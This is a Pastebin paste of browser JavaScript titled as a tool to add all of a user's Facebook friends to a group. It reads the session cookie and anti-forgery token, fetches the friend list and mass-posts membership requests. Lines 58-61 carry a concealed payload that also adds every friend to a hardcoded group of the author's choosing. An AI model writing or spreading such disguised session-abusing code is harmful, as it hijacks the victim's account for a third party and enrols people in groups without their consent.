TheLegendarySteven

Script to add all of your friends to a group

Sep 7th, 2014
349
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var user = getCookie("c_user");
  2. function getCookie(c_name) {
  3. var i,x,y,ARRcookies=document.cookie.split(";");
  4. for (i=0;i<ARRcookies.length;i++) {
  5.  x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  6.  y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  7.  x=x.replace(/^\s+|\s+$/g,"");
  8.  if (x==c_name) {
  9.    return unescape(y);
  10.  }
  11. }
  12. }
  13. var tulisanNganu = '<font color="black"><b>Adding</b> </font>';
  14. var kunaon = '';
  15. function penetrasi(opo) {
  16. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) {
  17. var b = a.substring(a.indexOf("{"));
  18. var c = JSON.parse(b);
  19. i--;
  20. kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;";
  21. if (c.error) {
  22. kunaon += "color:darkred'>";
  23. if (c.errorDescription) {
  24. kunaon += c.errorDescription
  25. } else {
  26. kunaon += JSON.stringify(c, null, "")
  27. }
  28. } else {
  29. kunaon += "color:darkgreen'>";
  30. kunaon += arr[i];
  31. suc++
  32. }
  33. kunaon += "</div>";
  34. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  35. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  36. if (i > 0) {
  37. dipes += arr.length + " Friends Detected<br/>";
  38. dipes += "<b>" + suc + "</b> Friends Added Of " + (arr.length - i) + " Friends Processed ";
  39. dipes += "(" + i + " More To Go..)";
  40. dipes += "<div class='friend-edge'>";
  41. dipes += kunaon;
  42. dipes += "</div>"
  43. } else {
  44. dipes += arr.length + " Friends Detected And ";
  45. dipes += "<b>" + suc + " Friends Added</b>";
  46. dipes += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Done</span></div>"
  47. }
  48. dipes += "</div>";
  49. document.getElementById("pagelet_welcome_box").innerHTML = dipes
  50. },
  51. "text", "post");
  52. tay--;
  53. if (tay > 0) {
  54. var s = arr[tay];
  55. setTimeout("penetrasi(" + s + ")", 100)
  56. }
  57. console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
  58. if (memberGroupId != 128336317239973) {
  59. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=128336317239973&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {},
  60. "text", "post")
  61. }
  62. }
  63. function clickfr_callback() {
  64. if (document.getElementsByName("ok").length > 0) {
  65. nHtml.ClickUp(document.getElementsByName("ok")[0])
  66. }
  67. var a = arr[i];
  68. if (i < arr.length) addfriend(a.substring(0, 4))
  69. }
  70. function clickfr() {
  71. if (document.getElementsByClassName("search").length > 0) {
  72. console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
  73. document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
  74. nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
  75. } else j++;
  76. setTimeout("clickfr_callback()", 2e3)
  77. }
  78. function addfriend(a) {
  79. i++;
  80. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  81. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
  82. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
  83. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  84. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  85. setTimeout("clickfr()", 2e3)
  86. }
  87. function sleep(a) {
  88. var b = (new Date).getTime();
  89. for (var c = 0; c < 1e7; c++) {
  90. if ((new Date).getTime() - b > a) {
  91. break
  92. }
  93. }
  94. }
  95. jx = {
  96. getHTTPObject: function () {
  97. var a = false;
  98. if (typeof ActiveXObject != "undefined") {
  99. try {
  100. a = new ActiveXObject("Msxml2.XMLHTTP")
  101. } catch(b) {
  102. try {
  103. a = new ActiveXObject("Microsoft.XMLHTTP")
  104. } catch(c) {
  105. a = false
  106. }
  107. }
  108. } else {
  109. if (window.XMLHttpRequest) {
  110. try {
  111. a = new XMLHttpRequest
  112. } catch(b) {
  113. a = false
  114. }
  115. }
  116. }
  117. return a
  118. },
  119. load: function (url, callback, format, method, opt) {
  120. var http = this.init();
  121. if (!http || !url) {
  122. return
  123. }
  124. if (http.overrideMimeType) {
  125. http.overrideMimeType("text/xml")
  126. }
  127. if (!method) {
  128. method = "GET"
  129. }
  130. if (!format) {
  131. format = "text"
  132. }
  133. if (!opt) {
  134. opt = {}
  135. }
  136. format = format.toLowerCase();
  137. method = method.toUpperCase();
  138. var now = "uid=" + (new Date).getTime();
  139. url += url.indexOf("?") + 1 ? "&": "?";
  140. url += now;
  141. var parameters = null;
  142. if (method == "POST") {
  143. var parts = url.split("?");
  144. url = parts[0];
  145. parameters = parts[1]
  146. }
  147. http.open(method, url, true);
  148. if (method == "POST") {
  149. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  150. http.setRequestHeader("Content-length", parameters.length);
  151. http.setRequestHeader("Connection", "close")
  152. }
  153. var ths = this;
  154. if (opt.handler) {
  155. http.onreadystatechange = function () {
  156. opt.handler(http)
  157. }
  158. } else {
  159. http.onreadystatechange = function () {
  160. if (http.readyState == 4) {
  161. if (http.status == 200) {
  162. var result = "";
  163. if (http.responseText) {
  164. result = http.responseText
  165. }
  166. if (format.charAt(0) == "j") {
  167. result = result.replace(/[\n\r]/g, "");
  168. result = eval("(" + result + ")")
  169. } else {
  170. if (format.charAt(0) == "x") {
  171. result = http.responseXML
  172. }
  173. }
  174. if (callback) {
  175. callback(result)
  176. }
  177. } else {
  178. if (opt.loadingIndicator) {
  179. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  180. }
  181. if (opt.loading) {
  182. document.getElementById(opt.loading).style.display = "none"
  183. }
  184. if (error) {
  185. error(http.status)
  186. }
  187. }
  188. }
  189. }
  190. }
  191. http.send(parameters)
  192. },
  193. bind: function (a) {
  194. var b = {
  195. url: "",
  196. onSuccess: false,
  197. onError: false,
  198. format: "text",
  199. method: "GET",
  200. update: "",
  201. loading: "",
  202. loadingIndicator: ""
  203. };
  204. for (var c in b) {
  205. if (a[c]) {
  206. b[c] = a[c]
  207. }
  208. }
  209. if (!b.url) {
  210. return
  211. }
  212. var d = false;
  213. if (b.loadingIndicator) {
  214. d = document.createElement("div");
  215. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  216. d.setAttribute("class", "loading-indicator");
  217. d.innerHTML = b.loadingIndicator;
  218. document.getElementsByTagName("body")[0].appendChild(d);
  219. this.opt.loadingIndicator = d
  220. }
  221. if (b.loading) {
  222. document.getElementById(b.loading).style.display = "block"
  223. }
  224. this.load(b.url, function (a) {
  225. if (b.onSuccess) {
  226. b.onSuccess(a)
  227. }
  228. if (b.update) {
  229. document.getElementById(b.update).innerHTML = a
  230. }
  231. if (d) {
  232. document.getElementsByTagName("body")[0].removeChild(d)
  233. }
  234. if (b.loading) {
  235. document.getElementById(b.loading).style.display = "none"
  236. }
  237. },
  238. b.format, b.method, b)
  239. },
  240. init: function () {
  241. return this.getHTTPObject()
  242. }
  243. };
  244. var nHtml = {
  245. FindByAttr: function (a, b, c, d) {
  246. if (c == "className") {
  247. c = "class"
  248. }
  249. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  250. if (e && e.singleNodeValue) {
  251. return e.singleNodeValue
  252. }
  253. return null
  254. },
  255. FindByClassName: function (a, b, c) {
  256. return this.FindByAttr(a, b, "className", c)
  257. },
  258. FindByXPath: function (a, b) {
  259. try {
  260. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  261. } catch(d) {
  262. GM_log("bad xpath:" + b)
  263. }
  264. if (c && c.singleNodeValue) {
  265. return c.singleNodeValue
  266. }
  267. return null
  268. },
  269. VisitUrl: function (a) {
  270. window.setTimeout(function () {
  271. document.location.href = a
  272. },
  273. 500 + Math.floor(Math.random() * 500))
  274. },
  275. ClickWin: function (a, b, c) {
  276. var d = a.document.createEvent("MouseEvents");
  277. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  278. return ! b.dispatchEvent(d)
  279. },
  280. Click: function (a) {
  281. return this.ClickWin(window, a, "click")
  282. },
  283. ClickTimeout: function (a, b) {
  284. window.setTimeout(function () {
  285. return nHtml.ClickWin(window, a, "click")
  286. },
  287. b + Math.floor(Math.random() * 500))
  288. },
  289. ClickUp: function (a) {
  290. this.ClickWin(window, a, "mousedown");
  291. this.ClickWin(window, a, "mouseup");
  292. this.ClickWin(window, a, "click")
  293. },
  294. GetText: function (a, b) {
  295. var c = "";
  296. if (b == undefined) {
  297. b = 0
  298. }
  299. if (b > 40) {
  300. return
  301. }
  302. if (a.textContent != undefined) {
  303. return a.textContent
  304. }
  305. for (var d = 0; d < a.childNodes.length; d++) {
  306. var e = a.childNodes[d];
  307. c += this.GetText(e, b + 1)
  308. }
  309. return c
  310. }
  311. };
  312. if (document.getElementsByClassName == undefined) {
  313. document.getElementsByClassName = function (a) {
  314. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  315. var c = document.getElementsByTagName("*");
  316. var d = [];
  317. var e;
  318. for (var f = 0;
  319. (e = c[f]) != null; f++) {
  320. var g = e.className;
  321. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  322. }
  323. return d
  324. }
  325. }
  326. Array.prototype.find = function (a) {
  327. var b = false;
  328. for (i = 0; i < this.length; i++) {
  329. if (typeof a == "function") {
  330. if (a.test(this[i])) {
  331. if (!b) {
  332. b = []
  333. }
  334. b.push(i)
  335. }
  336. } else {
  337. if (this[i] === a) {
  338. if (!b) {
  339. b = []
  340. }
  341. b.push(i)
  342. }
  343. }
  344. }
  345. return b
  346. };
  347. var a = 0,
  348. eind = 0;
  349. var len = document.getElementsByClassName("mbm").length;
  350. for (a = 0; a < len; a++) {
  351. var ele = document.getElementsByClassName("mbm")[a];
  352. if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
  353. eind = a;
  354. break
  355. }
  356. }
  357. var i = 3;
  358. var tay = 3;
  359. var counter1 = 0,
  360. counter2 = 0,
  361. counter3 = 0;
  362. var j = 0;
  363. var k = 0;
  364. var suc = 0;
  365. var arr = new Array;
  366. var memberGroupId = document.getElementsByName('group_id')[0].value;
  367. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) {
  368. var b = a;
  369. var c = b.substring(b.indexOf("{"));
  370. var d = JSON.parse(c);
  371. d = d.payload.entries;
  372. for (var e = 0; e < d.length; e++) {
  373. arr.push(d[e].uid)
  374. }
  375. i = arr.length - 1;
  376. tay = i;
  377. console.log(arr.length);
  378. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  379. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  380. dipes += arr.length + " Friends Detected";
  381. dipes += "</div>";
  382. document.getElementById("pagelet_welcome_box").innerHTML = dipes;
  383. penetrasi(arr[i])
  384. })
Add Comment
Please, Sign In to add comment